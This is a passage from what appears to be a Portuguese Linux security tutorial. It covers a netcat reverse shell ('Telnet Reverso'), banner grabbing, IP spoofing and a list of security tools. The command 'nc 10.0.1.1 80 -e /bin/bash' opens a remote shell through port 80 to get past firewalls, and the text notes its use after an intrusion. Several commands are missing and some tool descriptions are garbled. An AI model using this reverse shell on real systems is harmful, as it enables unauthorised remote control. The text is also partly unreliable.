ser abertas ou fechadas conforme a necessidade. Invertendo as direções das conexões pode resolver esse
problema: basta fazer o computador do escritório conectar no computador de casa, recebendo comandos do
cliente a executando-os no servidor. Essa técnica é conhecida como Telnet Reverso.
nc -vv -l -p 80
As 10:00, WORK conecta ao HOME, inicia o bash e está pronto para executar qualquer comando
que queremos.
Para testar nosso telnet reverso na nossa rede virtual, devemos colocar o cliente (HOME) em modo
nc -vv -l -p 80
Listening on any address 80
nc 10.0.1.1 80 -e /bin/bash
Essa técnica é bem simples e eficiente, pois usa somente a porta 80, que dificilmente estará
bloqueada no firewall. A partir do computador HOME você pode enviar comandos para o WORK, e receber
o resultado localmente.
Além disso, o telnet reverso pode ser usado para ganhar uma console de um servidor depois de
uma invasão.
9.3.8) Banner-grabbing
head / http/1.0
e dois "enters", ou apenas os dois enters para funcionar em outras portas além da 80. O arquivo
IPlist deve conter a lista dos endereços IP a serem scaneados:
10.0.1.1
Você pode, inclusive, usar o netcat para enviar um exploit para o destino. Quando a conexão é
HTTPS, você usar o stunnel para tunelar o nc, ou apenas o próprio stunnel. Para mais detalhes veja a man
page do stunnel:
man stunnel
9.3.9) IP Spoofing
Usando o netcat, você pode fazer inclusive spoofing de endereços IP. Se você estiver escutando o
tráfego em um segmento, você pode enviar esse tráfego para outro host usando o protocolo UDP.
O comando deverá ser tipo:
Isso também requer que você configure o endereço IP spoofed para um alias na sua interface de
rede:
onde N é o alias a ser configurado. Isso irá causar problemas com o host que está sendo spoofed, já
que é feito o mesmo endereço IP é propagado por dois hosts na mesma rede. Para executar um spoofing
sem causar tantos problemas, use a ferramenta hping.
Bastile: ele é um pacote de scripts utilizados para aumentar o nível de segurança do Linux,
desenvolvido para a distribuição Red Hat com o pacote do Perl (Pratical Extraction and Report Language),
deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violações básicas, permitindo
ainda ativar e desativar opções do sistema operacional;
SATAN: o aplicativo Security Administrator's Tool for Analizing Network, pode ser exectado em
qualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP, varredura de
vulnerabilidades mais conhecidas, oferece tutoriais que descrevem as vulnerabilidades e como explora-las;
COOPS: Computer Oracle and Password System, é um dos aplicativos utilizados para realizar
varredura do host local, verificar o modo dos arquivos e as senhas fáceis. No final de seu trabalho ele gera
um relatório com a descrição e a ação a ser tomada para resolver a violação;
Tripwire : este aplicativo informa se já houve alguma invasão no sistema. Ele é um analisador de
integridade de arquivos e diretórios, durante sua execução ele compara as informações existentes no
sistema de arquivo com os dados préviamente coletados e armazenados no banco de dados. Normalmente
sua atividade é agendada pela CRON do sistema. Após ser executado ele produz um relatório com as
possíveis violações que o sistema possa ter sofrido. Quando executado periodicamente permite que
brechas de segurança possam ser descobertas o mais rápido possível.
PGP : este é uma ferramenta multi plataforma que através da criptografia simétrica permite proteger
o conteúdo e/ou a integridade dos dados trocados. Ao enviar uma mensagem ele pode utilizar a chave
pública do destinatário de tal modo que somente quem possuir sua chave privada poderá decifar a
mensagem que lhe foi enviada.
Hping:
Icmpenum:
Icmpquery:
Strobe:
Udp_scan:
Siphon:
p0f:
Cheops:
Icmpinfo:
nttcp:
Referencias:
[1] Net, Urubatam; Dominando Linux Firewall Iptables;
[2] Linux Magazine, Número 4 Ano I, página 32;
[3] Arkin, Ofir; ICMP Usage in Scanning; Julho de 2000;
[4] Fping – http:\\www.fping.com\
[5] RFC 1812: Requiriments for IPv4 Routers; http:\\www.ietf.org\rfc\rfc1812.txt
[6] RFC793 - TRANSMISSION CONTROL PROTOCOL; DARPA INTERNET PROGRAM,
PROTOCOL SPECIFICATION; Defense Advanced Research Projects Agency. September 1981;
[7] IANA: List of assigned ports; ftp:\\ftp.isi.edu\in-notes\iana\assignments\port-numbers;
[8] Fyodor; Remote OS derection via TCP/IP Stack FingerPrinting; 18 de Outubro de 1998;
[9] Arkin, Ofir; ICMP Usage in Scanning, The Complete Know-How; Versão 3.0; Junho de 2001;
[10]Arkin, Ofir e Yarochkin, Fyodor; X remote ICMP based OS Fingerprinting techniques; Agosto de
2001.;
[11] Arkin, Ofir; A remote active OS fingerprinting tool using ICMP; Abril de 2002;
[12] Arkin, Ofir e Yarochkin, Fyodor; The Present and Future of Xprobe2, The Next Generation of
Active Operation System Fingerprinting; julho de 2003;
[13] Cid, Daniel B.; Identificação Passiva de Sistemas Operacionais; Maio de 2003;
[14] Nazario, Jose; Passive System Fingerprinting using Networking Client Applications; 27 de
Novembro de 2000;
[15] Smith, Craing; Know Your Enemy: Passive Fingerprinting - Identifing remote hosts, without then
khnowing; 4 de Março de 2002